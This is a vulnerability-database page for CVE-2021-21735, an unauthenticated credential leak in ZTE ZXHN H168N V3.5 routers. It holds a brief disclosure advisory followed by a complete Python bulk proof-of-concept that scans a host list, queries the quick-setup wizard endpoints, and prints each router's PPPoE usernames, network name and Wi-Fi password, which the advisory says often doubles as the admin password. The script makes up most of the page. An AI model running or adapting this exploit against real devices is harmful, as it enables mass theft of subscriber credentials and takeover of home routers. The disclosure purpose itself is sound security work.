| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2021-21735 | 25 May 202619:10 | – | circl | |
| ZTE ZXHN H168N 信息泄露漏洞 | 10 Jun 202100:00 | – | cnnvd | |
| CVE-2021-21735 | 10 Jun 202111:18 | – | cve | |
| CVE-2021-21735 | 10 Jun 202111:18 | – | cvelist | |
| EUVD-2021-8907 | 3 Oct 202520:07 | – | euvd | |
| CVE-2021-21735 | 10 Jun 202112:15 | – | nvd | |
| 📄 ZTE ZXHN H168N 3.6 Credential Leak / Admin Compromise | 20 May 202600:00 | – | packetstorm | |
| Design/Logic Flaw | 10 Jun 202112:15 | – | prion | |
| PT-2021-14746 | 10 Jun 202100:00 | – | ptsecurity | |
| CVE-2021-21735 | 22 May 202518:19 | – | redhatcve |
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2021-001
CVE ID: CVE-2021-21735
Title: ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential
Disclosure to Full Admin Compromise
Affected: ZTE ZXHN H168N V3.5
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: [email protected]
Public URL:
https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise
MITRE: https://www.cve.org/CVERecord?id=CVE-2021-21735
VULNERABILITY DESCRIPTION
--------------------------
The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that
return PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase
via the GetPassword action without requiring authentication. The firmware
routing allowlists these endpoints through a QuickSetupEnable branch.
In ISP-deployed configurations where the Wi-Fi password is reused as the
default admin password, this credential disclosure is a full admin
compromise
chain requiring a single unauthenticated HTTP request.
A bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository
for verifying scale of exposure. (packet storm attached at bottom)
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
--- packet storm attached poc ---
import argparse
import asyncio
import html
import re
from pathlib import Path
import aiohttp
from colorama import Fore, Style, init
DEFAULT_INPUT_PATH = Path("urls.txt")
PASSWORD_FORM = {
"IF_ACTION": "GetPassword",
"_InstID_PASS": "DEV.WIFI.AP1.PSK1",
"PASSTYPE": "PSK",
}
TABLE_TEMPLATE = "{:<3} | {:<34} | {:<30} | {:<30} | {:<30} | {:<25}"
HEADERS = ["#", "URL", "AD Username", "VD Username", "ESSID", "Wi-Fi Password"]
AD_USERNAME_PATTERN = r"<ADUsername>(.*?)</ADUsername>"
VD_USERNAME_PATTERN = r"<VDUsername>(.*?)</VDUsername>"
ESSID_PATTERN = r"<ParaName>\s*ESSID\s*</ParaName>\s*<ParaValue>\s*(.*?)\s*</ParaValue>"
PASSWORD_PATTERN = r"<ParaName>KeyPassphrase</ParaName>\s*<ParaValue>(.*?)</ParaValue>"
init()
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Bulk PoC for CVE-2021-21735 against ZTE ZXHN H168N wizard endpoints."
)
parser.add_argument(
"-i",
"--input",
type=Path,
default=DEFAULT_INPUT_PATH,
help="Path to a newline-delimited host list.",
)
parser.add_argument(
"--timeout",
type=int,
default=10,
help="Per-host request timeout in seconds.",
)
return parser.parse_args()
def extract(pattern: str, text: str, default: str = "") -> str:
match = re.search(pattern, text, re.DOTALL)
if not match:
return default
return html.unescape(match.group(1).strip())
def load_hosts(input_path: Path) -> list[str]:
return [line.strip() for line in input_path.read_text(encoding="utf-8").splitlines() if line.strip()]
async def fetch_text(session: aiohttp.ClientSession, method: str, url: str, **kwargs) -> str:
async with session.request(method, url, **kwargs) as response:
response.raise_for_status()
return await response.text()
async def extract_router_secrets(session: aiohttp.ClientSession, host: str) -> dict[str, str]:
base_url = f"http://{host}/wizard_page"
try:
pppoe_xml = await fetch_text(session, "GET", f"{base_url}/wizard_pppoe_lua.lua")
wlan_xml = await fetch_text(session, "GET", f"{base_url}/wizard_wlan_config_lua.lua")
password_xml = await fetch_text(
session,
"POST",
f"{base_url}/wizard_wlan_config_lua.lua",
data=PASSWORD_FORM,
)
except Exception:
return {
"URL": host,
"AD Username": "",
"VD Username": "",
"ESSID": "",
"Wi-Fi Password": "",
}
return {
"URL": host,
"AD Username": extract(AD_USERNAME_PATTERN, pppoe_xml),
"VD Username": extract(VD_USERNAME_PATTERN, pppoe_xml),
"ESSID": extract(ESSID_PATTERN, wlan_xml),
"Wi-Fi Password": extract(PASSWORD_PATTERN, password_xml)[:64],
}
def print_header() -> None:
header = TABLE_TEMPLATE.format(
"#",
Fore.RED + HEADERS[1],
Fore.GREEN + HEADERS[2],
Fore.YELLOW + HEADERS[3],
Fore.BLUE + HEADERS[4],
Fore.MAGENTA + HEADERS[5] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(header) + Style.RESET_ALL
print(separator)
print(header + "|")
print(separator)
def print_row(index: int, row: dict[str, str]) -> None:
rendered = TABLE_TEMPLATE.format(
str(index),
Fore.RED + row["URL"],
Fore.GREEN + row["AD Username"],
Fore.YELLOW + row["VD Username"],
Fore.BLUE + row["ESSID"],
Fore.MAGENTA + row["Wi-Fi Password"] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(rendered) + Style.RESET_ALL
print(rendered + "|")
print(separator)
async def run_bulk_poc(input_path: Path, timeout_seconds: int) -> None:
hosts = load_hosts(input_path)
seen: set[tuple[str, str, str, str, str]] = set()
results: list[dict[str, str]] = []
print_header()
timeout = aiohttp.ClientTimeout(total=timeout_seconds)
async with aiohttp.ClientSession(timeout=timeout) as session:
tasks = [asyncio.create_task(extract_router_secrets(session, host)) for host in hosts]
for task in asyncio.as_completed(tasks):
try:
row = await task
except Exception as error:
print(f"{Fore.RED}Error: {error}{Style.RESET_ALL}")
continue
identity = (
row["URL"],
row["AD Username"],
row["VD Username"],
row["ESSID"],
row["Wi-Fi Password"],
)
if identity in seen:
continue
seen.add(identity)
results.append(row)
print_row(len(results), row)
def main() -> None:
args = parse_args()
asyncio.run(run_bulk_poc(args.input, args.timeout))
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation